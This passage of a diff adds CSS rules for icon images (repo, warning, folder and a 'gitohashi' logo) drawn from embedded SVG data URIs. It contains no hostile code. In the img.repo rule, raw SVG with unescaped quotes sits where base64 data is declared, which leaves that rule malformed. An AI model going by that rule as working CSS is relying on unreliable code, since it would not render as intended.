UxLjYwNCAwLjk1MzUgMS4yNTIzIDAuMzk3MDQtMC43OTM5My0wLjA2NTEtMC4yOTc5OS0wLjQwNDg1IDAuNTM1NjItMC44NjQ2Mi0xLjEzODYtMC4wNzIxLTAuMDM5MSIgZmlsbD0iI2ZmZmZmYiIvPgoJCTxwYXRoIGQ9Im0tMjM3LjY0IDUyLjcxNC0xLjI1NTcgMC43MjQ5NyIgZmlsbD0ibm9uZSIgc3Ryb2tlPSIjMDAwIiBzdHJva2Utd2lkdGg9Ii4xMiIvPgoJCTxwYXRoIHRyYW5zZm9ybT0ibWF0cml4KDEuMDU3NyAwIDAgMS4wNTc3IC01ODEuMDcgLTE3MS40KSIgZD0ibTMyMi4wOCAyMDkuMDYgMy4zNTE5IDAuMDExMy0xLjY1NjYgMi40NzI0eiIgZmlsbD0iIzRkNGQ0ZCIgZmlsdGVyPSJ1cmwoI2MpIi8+CgkJPHBhdGggZD0ibS0yMzUuMDYgNDcuMjg5djEuNDQ5OSIgZmlsbD0ibm9uZSIgc3Ryb2tlPSIjMDAwIiBzdHJva2Utd2lkdGg9Ii4yMDgzM3B4Ii8+CgkJPHBhdGggZD0ibS0yMzIuOTkgNDkuOTE5LTIuMTU4OCAxLjMyMjggMS4xNjkzIDEuNDk2NyIgZmlsbD0ibm9uZSIgc3Ryb2tlPSIjMDAwIiBzdHJva2Utd2lkdGg9Ii4yNjQ1OHB4Ii8+CgkJPGNpcmNsZSBjeD0iLTIzNS4wNiIgY3k9IjUxLjIxOSIgcj0iLjQ2NzcyIi8+CgkJPHBhdGggZD0ibS0yMzYuNTMgNTMuNzM4LTAuNzI0OTYgMS4yNTU3IiBmaWxsPSJub25lIiBzdHJva2U9IiMwMDAiIHN0cm9rZS13aWR0aD0iLjEyIi8+CgkJPGc+CgkJCTxwYXRoIGQ9Im0tMjMzLjA3IDQ5LjgxMWMwLjE0OTE2LTAuMDg1NyAwLjI1MTk4LTAuMTQxOTUgMC40MTMwNy0wLjE3MzE0IDAuMDk0NS0wLjAyMzIgMC4xMTkyNy0yZS0zIDAuMTE5MjctMmUtM3MtMy4yZS00IDAuMDMyMS0wLjA0OTIgMC4wOTM2Yy0wLjA5NCAwLjEyNTM5LTAuMTg2MDUgMC4xOTY2Ny0wLjMzOTA1IDAuMzA1MjcgMCAwLTAuMTY4NzktMC4xMzg4Ni0wLjE0NDA2LTAuMjI0MTd6Ii8+CgkJCTxwYXRoIGQ9Im0tMjMzLjk0IDUyLjU4OWMwLjEwNTYgMC4xMzU4MSAwLjE3NTU5IDAuMjI5ODEgMC4yMjg4NiAwLjM4NTAxIDAuMDM2MSAwLjA5MDMgMC4wMTg1IDAuMTE3ODMgMC4wMTg1IDAuMTE3ODNzLTAuMDMxOCA0ZS0zIC0wLjA5OTYtMC4wMzU3Yy0wLjEzNzIzLTAuMDc1Ny0wLjIyMDYxLTAuMTU2OTItMC4zNDk0MS0wLjI5MzM0IDAgMCAwLjExNDA2LTAuMTg2NDUgMC4yMDE5Ny0wLjE3MzgyeiIvPgoJCQk8Y2lyY2xlIGN4PSItMjM1LjA2IiBjeT0iNTEuMjA4IiByPSIuMjg1ODIiIGZpbGw9IiNiM2IzYjMiLz4KCQkJPHBhdGggZD0ibS0yMzQuNjcgNTAuOTUxIDIuMTIyMy0xLjMxNTUtMC4wOTM2LTZlLTMgLTAuMTQwMzEgMC4wMzUxLTAuMTU3ODUgMC4wNzYtMC4zNTA3OCAwLjE5ODc4LTEuNDg1IDAuOTE3OTEgMC4wNjQzIDAuMDQwOXoiIGZpbGw9IiM2NjYiLz4KCQkJPHBhdGggZD0ibS0yMzQuODUgNTEuNjI5IDEuMTY1OCAxLjQ3MTgtMC4wMjQ5LTAuMTI0MDMtMC4wMzMxLTAuMDkxLTAuMDYwOC0wLjExMTM2LTAuMTIxMTItMC4xNjk3MS0wLjgxODA1LTEuMDM5NC0wLjA1ODQgMC4wNDcxeiIgZmlsbD0iIzRkNGQ0ZCIvPgoJCTwvZz4KCQk8ZyBmaWxsPSJub25lIiBzdHJva2U9IiMwMDAiPgoJCQk8ZyBzdHJva2Utd2lkdGg9Ii4xMiI+CgkJCQk8cGF0aCBkPSJtLTIzMS4xNyA0OC45NzctMS4yNTU3IDAuNzI0OTciLz4KCQkJCTxwYXRoIGQ9Im0tMjMyLjQ4IDUyLjcxNCAxLjI1NTcgMC43MjQ5NyIvPgoJCQkJPHBhdGggZD0ibS0yMzIuODQgNDcuMzM5LTAuNzI0OTYgMS4yNTU3Ii8+CgkJCQk8cGF0aCBkPSJtLTIzOC45OSA0OC45NDQgMS4yNTU3IDAuNzI0OTciLz4KCQkJCTxwYXRoIGQ9Im0tMjM2LjYgNDguNTc4LTAuNzI0OTgtMS4yNTU3Ii8+CgkJCQk8cGF0aCBkPSJtLTIzMi44OSA1NS4wMTEtMC43MjQ5OC0xLjI1NTciLz4KCQkJPC9nPgoJCQk8cGF0aCBkPSJtLTIzNy45MiA1MS4yMDhoLTEuNDQ5OSIgc3Ryb2tlLXdpZHRoPSIuMjA4MzNweCIvPgoJCTwvZz4KCQk8Zz4KCQkJPHBhdGggZD0ibS0yMzguMzggNTIuMDFjMC4wMzQ0IDAuMzAwODcgMC4wODU4IDAuNTgwNjYgMC4xODk3NSAwLjc3NzI3IDAuNDU3OCAxLjAyNDEgMS4zNDE2IDEuNzIwNyAyLjc3NyAxLjk4NjEgMC4xMTM5NyA1ZS0zIDAuMjUxMzQtMWUtMyAwLjM2NTMxIDRlLTN2MS4wNjA2Yy0wLjI5MzUxLTdlLTMgLTAuNTEyMjctNC40OWUtNCAtMC43MTUxNC0wLjA0NTQtMS43MTMtMC4zNDU0OC0yLjc5OTQtMS4xMzctMy40Njg5LTIuNTQ4LTAuMTkxMDctMC40NTUyMi0wLjQyOTUzLTEuMTAwOS0wLjQ4MzctMS41OTIyLTAuMDIxMS0wLjEyNjYgMC4xODg0NiAwLjEzNTc1IDAuMjIzMDQgMC4xNjU2NWwwLjczMjQ3IDEuMDI2OWMwLjE3MjI0LTAuMjk4NzYgMC4yNTcwNC0wLjQ0NTI5IDAuMzk2NjItMC43Mjc3NXoiIGZpbGw9IiM4MDgwODAiLz4KCQkJPHBhdGggZD0ibS0yMzQuOSA0Ny40MDVjLTEuNzU3MiAwLjA5NjEtMy42ODAxIDEuNTQxOS0zLjQ2NzkgMy40NTQzLTAuMTYyMzQgMS43MTI2IDAuOTkyNDMgMy40MDkxIDIuNzMyMyAzLjY1OTIgMC41ODkyNCAwLjIyOTE5IDEuNDM3Ni0wLjIwMjUgMC4zNzcxOS0wLjQzMjkzLTEuNDA4NS0xLjIxMjYtMi4xODA1LTMuNTMtMC44NTE2Ny01LjA4MDMgMC4zMTQ3NC0wLjY2NDIgMS42NDYzLTEuMjA0NyAxLjcwMDYtMS41MjMzLTAuMTYwNTItMC4wNDM0LTAuMzI3MDgtMC4wNTEtMC40OTA1Ny0wLjA3Njl6IiBmaWxsPSJ1cmwoI2EpIiBvcGFjaXR5PSIuNjY2Ii8+CgkJCTxwYXRoIGQ9Im0tMjQwLjU0IDQ5Ljc0OCAzLjM1MTkgMC4wMTEzLTEuNjU2NiAyLjQ3MjR6IiBzdHJva2U9IiMwMDAiIHN0cm9rZS13aWR0aD0iLjI0MTQ1cHgiLz4KCQkJPHRleHQgeD0iLTIzNS4wNzMwMSIgeT0iNTAuMDkzNzUiIGZpbGw9IiMwMDAwMDAiIGZvbnQtZmFtaWx5PSInT3BlbiBTYW5zJyIgZm9udC1zaXplPSIuMjY4MzJweCIgbGV0dGVyLXNwYWNpbmc9IjBweCIgc3Ryb2tlLXdpZHRoPSIuMDMzNTM5IiB0ZXh0LWFsaWduPSJjZW50ZXIiIHRleHQtYW5jaG9yPSJtaWRkbGUiIHdvcmQtc3BhY2luZz0iMHB4IiBzdHlsZT0iZm9udC1mZWF0dXJlLXNldHRpbmdzOm5vcm1hbDtmb250LXZhcmlhbnQtY2Fwczpub3JtYWw7Zm9udC12YXJpYW50LWxpZ2F0dXJlczpub3JtYWw7Zm9udC12YXJpYW50LW51bWVyaWM6bm9ybWFsO2xpbmUtaGVpZ2h0OjEuMjUiIHhtbDpzcGFjZT0icHJlc2VydmUiPjx0c3BhbiB4PSItMjM1LjA3MzAxIiB5PSI1MC4wOTM3NSIgc3Ryb2tlLXdpZHRoPSIuMDMzNTM5Ij5naXRvaGFzaGk8L3RzcGFuPjwvdGV4dD4KCQk8L2c+Cgk8L2c+Cjwvc3ZnPg==");
+	width:0px;
+	height:0px;
+	padding:1.5em 1.6em;
+	line-height:100%;
+	cursor:pointer;
+	background-repeat: no-repeat;
+	vertical-align:middle;
+	color: rgba(0, 0, 0, 0) !important;
+}
+
+img.repo {
+	display: inline-block;
+	background: url("data:image/svg+xml;base64,<?xml version="1.0" encoding="UTF-8"?>
<svg version="1.1" viewBox="0 0 28.017 31.184" xmlns="http://www.w3.org/2000/svg" xmlns:cc="http://creativecommons.org/ns#" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#">
<defs>
<filter id="a" x="-.048584" y="-.10895" width="1.0972" height="1.2179" color-interpolation-filters="sRGB">
<feGaussianBlur stdDeviation="0.50373655"/>
</filter>
</defs>
<metadata>
<rdf:RDF>
<cc:Work rdf:about="">
<dc:format>image/svg+xml</dc:format>
<dc:type rdf:resource="http://purl.org/dc/dcmitype/StillImage"/>
<dc:title/>
</cc:Work>
</rdf:RDF>
</metadata>
<g transform="translate(-112.99 -90.152)">
<ellipse transform="matrix(1.0245 0 0 1.0245 -296.16 -72.041)" cx="413.03" cy="182" rx="12.442" ry="5.5485" filter="url(#a)" stroke="#000" stroke-linejoin="round" stroke-width=".36499"/>
<path d="m140.51 98.019-1.2284 15.828-2.2206-3.3545 0.94495-11.103z" fill="#ccc"/>
<ellipse cx="126.99" cy="112.88" rx="12.442" ry="5.5485" fill="#ccc" stroke="#000" stroke-linejoin="round" stroke-width=".36499"/>
<path d="m113.32 97.381 1.2284 15.828 2.2206-3.3545-0.94495-11.103z" fill="#ccc"/>
<ellipse cx="127.01" cy="107.33" rx="12.908" ry="5.7563" fill="#ccc" stroke="#000" stroke-linejoin="round" stroke-width=".37842"/>
<ellipse cx="127" cy="101.59" rx="13.37" ry="5.9621" fill="#ccc" stroke="#000" stroke-linejoin="round" stroke-width=".39196"/>
<path d="m140.82 96.389-1.4091 16.772" fill="#ccc" stroke="#000" stroke-width=".365"/>
<path d="m113.23 96.814 1.3339 16.404" fill="#ccc" stroke="#000" stroke-width=".365"/>
<ellipse cx="127.02" cy="96.389" rx="13.985" ry="6.2366" fill="#4d4d4d"/>
<path d="m113.68 100.01 0.15727 1.8334 1.0622-2.3178-0.51782-0.45102z" fill="#ccc"/>
<path d="m140.35 99.991-0.18089 1.8452-1.0385-2.3297 0.51782-0.45102z" fill="#ccc"/>
<path d="m114.14 105.64 0.16317 1.8216 1.3456-2.4891-0.54735-0.41558z" fill="#ccc"/>
<path d="m114.6 111.5 0.14892 1.6747 1.271-2.6018-0.44265-0.30904z" fill="#ccc"/>
<path d="m139.84 105.99-0.13955 1.6976-1.3456-2.7076 0.53553-0.39787z" fill="#ccc"/>
<path d="m139.4 111.25-0.18089 1.8369-1.2056-2.4967 0.51782-0.45102z" fill="#ccc"/>
<path d="m116.44 100.5c0.10825 1.7133 0.21649 3.4266 0.32474 5.1399-0.23098-0.13906-0.42239-0.22027-0.3181 0.13089 0.11838 1.768 0.23676 3.5359 0.35514 5.3039-0.17115-0.0676-0.48755-0.36024-0.37407 0.0129 0.0948 1.567 0.18964 3.1339 0.28446 4.7008 0.61908 0.36412 1.2447 0.71534 1.9145 0.97846 0.67141 0.31786 1.3965 0.50068 2.1067 0.70951 0.37212 0.0876 0.74425 0.17522 1.1164 0.26283 0.0236-5.1952 0.0473-10.39 0.0709-15.586-0.98621-0.22611-1.9858-0.40818-2.9635-0.66212-0.83905-0.3305-1.6781-0.66101-2.5171-0.99152z" fill="#eff3eb" fill-opacity=".3719"/>
<path d="m121.05 117.56s0.0745-7.4255 0.0296-15.586c-1.6485-0.27567-1.8937-0.42186-1.8937-0.42186 0.0974 7.7565 0.0861 8.1524 0.0391 15.446 0.5384 0.1771 1.0993 0.34271 1.825 0.56158z" fill="#fff" fill-opacity=".44628"/>
<path d="m137.25 100.64c-0.53412 1.8993-1.0682 3.7985-1.6024 5.6978-0.21872 0.1545-0.65287 0.1264-0.6723 0.44984-0.45771 1.8938-0.91543 3.7875-1.3732 5.6813-0.28963 0.0967-0.65172 0.10353-0.89865 0.25331-0.88624 1.8312-1.7725 3.6624-2.6587 5.4936 1.6441-0.43258 3.3012-0.83362 4.9373-1.2859 1.1-0.635 2.2-1.27 3.2999-1.905 0.32114-0.64352 0.6912-1.2732 0.98172-1.9254 0.18381-3.0262 0.45734-6.0754 0.75008-9.0923l0.47261-5.9424c-0.35162 0.48535-0.17204 0.32757-0.59864 0.7498-0.46949 0.44411-0.93704 0.89073-1.5123 1.1969-0.35633 0.24224-0.74819 0.4221-1.1255 0.62822z" fill="#a9abab" fill-opacity=".47934"/>
<ellipse cx="127.02" cy="95.859" rx="10.678" ry="4.7617" fill="#666"/>
<path d="m140.06 98.753-1.0022 5.479-0.33409 0.46772-1.2696 6.2808-0.26726 0.20045-1.0691 5.3454 1.8041-1.0691 1.2695-1.5368 0.13364-1.8041 1.2027-14.098z" fill="#7c7e83" fill-opacity=".47934"/>
<path d="m116.34 95.846c0.73982-1.6679 2.4374-2.6647 4.0888-3.256 5.0245-1.6741 11.398-1.3965 15.581 1.1204 0.66145 0.46366 1.2327 1.1011 1.6053 1.8239 0.14942-0.0336-0.23017-0.95498-0.57826-1.3204-0.62725-0.77836-1.5383-1.2585-2.4102-1.7122-4.4621-2.0231-10.855-1.9651-15.558 0.17084-1.2174 0.6398-2.1838 1.3684-2.6524 2.5222-0.0713 0.20837-0.0665 0.39854-0.0432 0.6179z" fill="#333"/>
<g transform="matrix(4.0745 0 0 4.0745 -1497.4 -688)" stroke-width=".26458" style="font-feature-settings:normal;font-variant-caps:normal;font-variant-ligatures:normal;font-variant-numeric:normal" aria-label="git">
<path d="m398.41 192.78c-0.0156 0.1161-0.0809 0.20206-0.19641 0.25338-0.11321 0.0513-0.27337 0.0705-0.47173 0.0544-0.1177-0.01-0.21004-0.0227-0.27716-0.0395-0.0657-0.0153-0.11948-0.0331-0.16156-0.0533 0.0545-0.0346 0.12258-0.12676 0.12258-0.12676 0.0379 0.0151 0.0809 0.03 0.1293 0.0448 0.0485 0.0148 0.11522 0.0259 0.20024 0.0333 0.0793 7e-3 0.14527 7e-3 0.19734 2e-3 0.0535-4e-3 0.0984-0.0167 0.13412-0.0366 0.0354-0.0186 0.0624-0.0446 0.0807-0.0776 0.0181-0.0318 0.0312-0.0702 0.039-0.11473 0.0163-0.0191 0.0134-0.0832 0.0134-0.0832 8e-3 9e-3 -0.01-8.6e-4 -0.01-8.6e-4 -0.0395 0.0301-0.0888 0.0522-0.14741 0.0659-0.0583 0.0126-0.13231 0.015-0.22107 7e-3 -0.18057-0.0161-0.29824-0.0647-0.35773-0.1413-0.0575-0.0762-0.0602-0.18254-0.0247-0.31191 0.0341-0.12408 0.10261-0.21284 0.20653-0.27361 0.10364-0.0615 0.23995-0.0926 0.41089-0.0884 0.0824 2e-3 0.15189 8e-3 0.2095 0.0193 0.059 0.011 0.11182 0.0236 0.15854 0.0379-1e-3 0.26885 6e-3 0.5309-0.0346 0.83038zm-0.50228-0.18887c0.0879 8e-3 0.15941-4.8e-4 0.21324-0.0242 0.054-0.0249 0.0941-0.0664 0.11941-0.12372 0.0243-0.13225 0.0242-0.40627 0.0242-0.40627-0.0591-0.0223-0.13382-0.0347-0.2259-0.0381-0.10065-4e-3 -0.18337 0.0167-0.24975 0.0593-0.0666 0.0427-0.10996 0.11087-0.1312 0.20818-9e-3 0.0419-0.0127 0.0813-0.01 0.11823 3e-3 0.037 0.0127 0.0699 0.0311 0.0987 0.0183 0.0288 0.0457 0.0527 0.0828 0.0716s0.0859 0.0311 0.14616 0.0363l7e-5 1e-5z"/>
<path d="m398.81 191.93c0.0692 0.01 0.17397 4e-3 0.17397 4e-3 0.0457 0.29417 0.0892 0.86849 0.0892 0.86849-0.058 3e-3 -0.21169-0.0189-0.21169-0.0189 2e-3 -0.30005-0.0287-0.57386-0.0515-0.85411zm-0.052-0.25827c-1e-3 -0.0263 8e-3 -0.0488 0.0277-0.0675 0.0206-0.0199 0.0466-0.0301 0.0782-0.0304 0.0317-3e-4 0.0592 9e-3 0.0835 0.0293 0.0242 0.0187 0.0378 0.0416 0.0406 0.0684 3e-3 0.0269-6e-3 0.049-0.0282 0.0662-0.0217 0.0172-0.0495 0.0256-0.0829 0.0253-0.0334-2.8e-4 -0.0619-9e-3 -0.085-0.0262-0.0217-0.0172-0.0329-0.0388-0.0339-0.0651z"/>
<path d="m399.21 191.94c0.0685 0.0101 0.16963 4e-3 0.16963 4e-3 -1e-4 -0.0503-0.0357-0.17768-0.0357-0.17768 0.0651-5e-3 0.15704-0.0408 0.15704-0.0408 0.0291 0.0835 0.0526 0.2229 0.0526 0.2229 0.11132 0.0115 0.29577 8e-3 0.29577 8e-3 0.0259 0.0531 0.0389 0.13152 0.0389 0.13152-0.0885 5e-3 -0.304-0.0116-0.304-0.0116 0.0532 0.17708 0.1202 0.50554 0.1202 0.50554 0.0146 0.0637 0.0354 0.10995 0.0639 0.13906 0.0281 0.0278 0.0689 0.0441 0.12231 0.0488 0.0447 4e-3 0.0817 4e-3 0.11093 4.4e-4 0.0288-5e-3 0.0605-0.0113 0.0947-0.0194 0.0414 0.0495 0.0812 0.11913 0.0812 0.11913-0.0423 0.0122-0.0905 0.0207-0.1443 0.0258-0.0538 5e-3 -0.11387 4e-3 -0.17953-1e-3 -0.1085-0.01-0.18865-0.0376-0.23988-0.0834-0.0516-0.0471-0.0845-0.11953-0.10281-0.21753-0.0196-0.16769-0.10553-0.52386-0.10553-0.52386-0.046 7e-3 -0.17435-7e-3 -0.17435-7e-3 -7e-3 -0.0409-0.0141-0.0818-0.0211-0.12281z"/>
</g>
<g transform="matrix(4.0745 0 0 4.0745 -1497.5 -688.31)" fill="#ff0" stroke-width=".26458" style="font-feature-settings:normal;font-variant-caps:normal;font-variant-ligatures:normal;font-variant-numeric:normal" aria-label="git">
<path d="m398.41 192.78c-0.0156 0.1161-0.0809 0.20206-0.19641 0.25338-0.11321 0.0513-0.27337 0.0705-0.47173 0.0544-0.1177-0.01-0.21004-0.0227-0.27716-0.0395-0.0657-0.0153-0.11948-0.0331-0.16156-0.0533 0.0545-0.0346 0.12258-0.12676 0.12258-0.12676 0.0379 0.0151 0.0809 0.03 0.1293 0.0448 0.0485 0.0148 0.11522 0.0259 0.20024 0.0333 0.0793 7e-3 0.14527 7e-3 0.19734 2e-3 0.0535-4e-3 0.0984-0.0167 0.13412-0.0366 0.0354-0.0186 0.0624-0.0446 0.0807-0.0776 0.0181-0.0318 0.0312-0.0702 0.039-0.11473 0.0163-0.0191 0.0134-0.0832 0.0134-0.0832 8e-3 9e-3 -0.01-8.6e-4 -0.01-8.6e-4 -0.0395 0.0301-0.0888 0.0522-0.14741 0.0659-0.0583 0.0126-0.13231 0.015-0.22107 7e-3 -0.18057-0.0161-0.29824-0.0647-0.35773-0.1413-0.0575-0.0762-0.0602-0.18254-0.0247-0.31191 0.0341-0.12408 0.10261-0.21284 0.20653-0.27361 0.10364-0.0615 0.23995-0.0926 0.41089-0.0884 0.0824 2e-3 0.15189 8e-3 0.2095 0.0193 0.059 0.011 0.11182 0.0236 0.15854 0.0379-1e-3 0.26885 6e-3 0.5309-0.0346 0.83038zm-0.50228-0.18887c0.0879 8e-3 0.15941-4.8e-4 0.21324-0.0242 0.054-0.0249 0.0941-0.0664 0.11941-0.12372 0.0243-0.13225 0.0242-0.40627 0.0242-0.40627-0.0591-0.0223-0.13382-0.0347-0.2259-0.0381-0.10065-4e-3 -0.18337 0.0167-0.24975 0.0593-0.0666 0.0427-0.10996 0.11087-0.1312 0.20818-9e-3 0.0419-0.0127 0.0813-0.01 0.11823 3e-3 0.037 0.0127 0.0699 0.0311 0.0987 0.0183 0.0288 0.0457 0.0527 0.0828 0.0716s0.0859 0.0311 0.14616 0.0363l7e-5 1e-5z"/>
<path d="m398.81 191.93c0.0692 0.01 0.17397 4e-3 0.17397 4e-3 0.0457 0.29417 0.0892 0.86849 0.0892 0.86849-0.058 3e-3 -0.21169-0.0189-0.21169-0.0189 2e-3 -0.30005-0.0287-0.57386-0.0515-0.85411zm-0.052-0.25827c-1e-3 -0.0263 8e-3 -0.0488 0.0277-0.0675 0.0206-0.0199 0.0466-0.0301 0.0782-0.0304 0.0317-3e-4 0.0592 9e-3 0.0835 0.0293 0.0242 0.0187 0.0378 0.0416 0.0406 0.0684 3e-3 0.0269-6e-3 0.049-0.0282 0.0662-0.0217 0.0172-0.0495 0.0256-0.0829 0.0253-0.0334-2.8e-4 -0.0619-9e-3 -0.085-0.0262-0.0217-0.0172-0.0329-0.0388-0.0339-0.0651z"/>
<path d="m399.21 191.94c0.0685 0.0101 0.16963 4e-3 0.16963 4e-3 -1e-4 -0.0503-0.0357-0.17768-0.0357-0.17768 0.0651-5e-3 0.15704-0.0408 0.15704-0.0408 0.0291 0.0835 0.0526 0.2229 0.0526 0.2229 0.11132 0.0115 0.29577 8e-3 0.29577 8e-3 0.0259 0.0531 0.0389 0.13152 0.0389 0.13152-0.0885 5e-3 -0.304-0.0116-0.304-0.0116 0.0532 0.17708 0.1202 0.50554 0.1202 0.50554 0.0146 0.0637 0.0354 0.10995 0.0639 0.13906 0.0281 0.0278 0.0689 0.0441 0.12231 0.0488 0.0447 4e-3 0.0817 4e-3 0.11093 4.4e-4 0.0288-5e-3 0.0605-0.0113 0.0947-0.0194 0.0414 0.0495 0.0812 0.11913 0.0812 0.11913-0.0423 0.0122-0.0905 0.0207-0.1443 0.0258-0.0538 5e-3 -0.11387 4e-3 -0.17953-1e-3 -0.1085-0.01-0.18865-0.0376-0.23988-0.0834-0.0516-0.0471-0.0845-0.11953-0.10281-0.21753-0.0196-0.16769-0.10553-0.52386-0.10553-0.52386-0.046 7e-3 -0.17435-7e-3 -0.17435-7e-3 -7e-3 -0.0409-0.0141-0.0818-0.0211-0.12281z"/>
</g>
</g>
</svg>
");
+	width:0px;
+	height:0px;
+	padding:2.25em 2em 2.25em 2em;
+	margin: 0 0.8em;
+	background-repeat: no-repeat;
+	line-height:100%;
+	vertical-align:middle;
+	color: rgba(0, 0, 0, 0) !important;
+}
+
+img.warning {
+	display: inline-block;
+	background: url("data:image/svg+xml;base64,PD94bWwgdmVyc2lvbj0iMS4wIiBlbmNvZGluZz0iVVRGLTgiPz4KPHN2ZyB2ZXJzaW9uPSIxLjEiIHZpZXdCb3g9IjAgMCAxNC43OTg5OCAxMy4zMjM5NjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyI+PGcgdHJhbnNmb3JtPSJ0cmFuc2xhdGUoLTg5LjM2MiA0OC4zMjkpIj48cGF0aCBkPSJtODkuNjAxLTM2LjY1M2MyLjE5MTktMy43MDEyIDQuMzUtNy40MjMxIDYuNTYzNi0xMS4xMTEgMC4yNjk1LTAuNjE3OTQgMS4wMDk2LTAuODI5NjIgMS40Njk1LTAuMTEzNTggMC40MDA1OSAwLjgwMDg4IDAuNzM1MzggMS4zNTMxIDEuMDg1OSAyLjAzNzIgMS43NTU5IDMuMDQwNSAzLjUxMTggNi4wODA5IDUuMjY3NyA5LjEyMTQgMC4yOTM5MSAwLjY0NTgyIDAuMjM4MzkgMS4zMjMxLTAuMzUwMTQgMS42NDU3LTAuNzQzODkgMC4xMTU0Ni0xLjE5NTQgMC4wMjY3LTEuODA2NCAwLjA1MDktMy43Ny0wLjAxMTktNy41NDA3IDAuMDI4OC0xMS4zMTEgMC4wMTUyLTAuNjczNzMgMC4wNDcyLTEuMzU0NC0wLjY0NDQ0LTEuMTA1My0xLjI3MzYgMC4wNjItMC4xMjQwNCAwLjEyNDEzLTAuMjQ4MSAwLjE4NjEtMC4zNzIxM3oiIGZpbGw9IiNmMDAiLz48cGF0aCBkPSJtOTEuMzQ3LTM3LjQ3NWMxLjY2NzQtMi44MTU0IDMuMzA4OS01LjY0NjYgNC45OTI4LTguNDUyIDAuMjA1MDEtMC40NzAwNiAwLjc2ODAxLTAuNjMxMDggMS4xMTc4LTAuMDg2NCAwLjMwNDcyIDAuNjA5MjEgMC41NTkzOSAxLjAyOTMgMC44MjYwMyAxLjU0OTYgMS4zMzU3IDIuMzEyOCAyLjY3MTQgNC42MjU2IDQuMDA3IDYuOTM4NCAwLjIyMzU3IDAuNDkxMjcgMC4xODEzMyAxLjAwNjUtMC4yNjYzNSAxLjI1MTktMC41NjU4NiAwLjA4NzgtMC45MDkzMSAwLjAyMDMtMS4zNzQxIDAuMDM4Ny0yLjg2NzgtOWUtMyAtNS43MzYgMC4wMjE5LTguNjA0IDAuMDExNi0wLjUxMjQ5IDAuMDM1OS0xLjAzMDMtMC40OTAyMS0wLjg0MDc0LTAuOTY4OCAwLjA0NzItMC4wOTQ0IDAuMDk0NC0wLjE4ODczIDAuMTQxNTYtMC4yODMwN3oiIGZpbGw9IiNmZmYiLz48cGF0aCBkPSJtOTYuMTYyLTM5Ljc5MmMtMC4xMTQyNS0xLjI2MzgtMC4yMjg0OS0yLjUyNzctMC4zNDI3NC0zLjc5MTUtMmUtMyAtMC41OTY2OSAwLjU5MjkxLTEuMDk5OCAxLjE4MDMtMC45MDU0MiAwLjYxMDA2IDAuMDQyOSAwLjg2MjA3IDAuNjg4NjcgMC43MzIwOCAxLjIyMjEtMC4yMTU3OCAxLjIyMDctMC4zMjI1MiAyLjQ2LTAuNTgyMzQgMy42NzM0LTAuMTY1NDUgMC41MTQ3Mi0wLjk4Nzk1IDAuNDM5MDUtMC45NjY1Ny0wLjE0MTY4bC0wLjAyMDgtMC4wNTY5eiIvPjxjaXJjbGUgY3g9Ijk2LjY2NSIgY3k9Ii0zNy44MzIiIHI9Ii43ODE4NyIvPjwvZz48L3N2Zz4=");
+	width:0px;
+	height:0px;
+	padding:2.25em 2em 2.25em 2em;
+	margin: 0 0.8em;
+	background-repeat: no-repeat;
+	line-height:100%;
+	vertical-align:middle;
+	color: rgba(0, 0, 0, 0) !important;
+}
+
+img.oneem {
+	padding:0.6em;
+}
+
+img.folder {
+	display: inline-block;
+	background: url("data:image/svg+xml;base64,PD94bWwgdmVyc2lvbj0iMS4wIiBlbmNvZGluZz0iVVRGLTgiPz4KPHN2ZyB2ZXJzaW9uPSIxLjEiIHZpZXdCb3g9IjAgMCAxMjMuOTA0ODggOTIuMjYwNzA0IiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHhtbG5zOnhsaW5rPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hsaW5rIj4KCTxkZWZzPgoJCTxsaW5lYXJHcmFkaWVudCBpZD0iYSIgeDE9IjU0MC45NyIgeDI9IjQ4MC4zNyIgeTE9IjIyOC4xMSIgeTI9IjE1OC45OSIgZ3JhZGllbnRUcmFuc2Zvcm09InRyYW5zbGF0ZSgtNDIyLjQ4IC03MS4zMTMpIiBncmFkaWVudFVuaXRzPSJ1c2VyU3BhY2VPblVzZSI+CgkJCTxzdG9wIHN0b3AtY29sb3I9IiNhY2I0NDkiIG9mZnNldD0iMCIvPgoJCQk8c3RvcCBzdG9wLWNvbG9yPSIjZTdlMGIzIiBvZmZzZXQ9IjEiLz4KCQk8L2xpbmVhckdyYWRpZW50PgoJCTxmaWx0ZXIgaWQ9ImIiIHg9Ii0uMDUxMzgzIiB5PSItLjYxMTQ1IiB3aWR0aD0iMS4xMDI4IiBoZWlnaHQ9IjIuMjIyOSIgY29sb3ItaW50ZXJwb2xhdGlvbi1maWx0ZXJzPSJzUkdCIj4KCQkJPGZlR2F1c3NpYW5CbHVyIHN0ZERldmlhdGlvbj0iMS4zOTM5MDg0Ii8+CgkJPC9maWx0ZXI+Cgk8L2RlZnM+Cgk8ZyB0cmFuc2Zvcm09InRyYW5zbGF0ZSgtMjkuNTE4IC03MC45NTMpIj4KCQk8ZyBzdHJva2U9IiMwMDAiPgoJCQk8cGF0aCBkPSJtODIuNTUzIDc5LjEzNGMzLjIyNTUgMCA2NC42MjYtNC44MzU5IDY0LjYyNi00LjgzNTlsMC40ODA1NyA1LjQ3MTJ6IiBmaWx0ZXI9InVybCgjYikiIHN0cm9rZS13aWR0aD0iMS4wNjUiLz4KCQkJPHBhdGggZD0ibTc5LjA4OSA3Ni4zOWMyMy4zOTggMC4xNzA3NiA0Ni44MDEgMC4yNzQyNSA3MC4xOTUgMC40ODcwNSAxLjQ4NzcgMC4wNjEzIDIuNzQ2MiAwLjg0Mzc1IDIuNzMzOCAzLjk2NTMtMmUtMyAwLjQ2NTg2IDJlLTMgMC45MTY3OC0wLjA1MjggMS40Njk5LTAuMTUyMzIgMS4xNDk1IDAuMTg4MDcgMS42NTk3LTAuMzEzNDggMS42ODM3LTI0LjY0OCAwLjE1MjYzLTQ5LjI5NyAwLjMwNTI1LTczLjk0NSAwLjQ1Nzg3eiIgZmlsbD0iIzkxOGQ0OSIgc3Ryb2tlLXdpZHRoPSIyIi8+CgkJCTxwYXRoIGQ9Im0zMC40MiA3NC42NjVjMS4wODYxIDI3LjMxNSAyLjE3MjIgNTQuNjMxIDMuMjU4MyA4MS45NDYgMC4zNzA0OCAyLjAyNTMgMS4zODA1IDEuNjM1MSAyLjY1OTcgMS44MjcybDExNC40OCAzLjg3NDhjMS42My0wLjA2NjYgMS40NjQ3L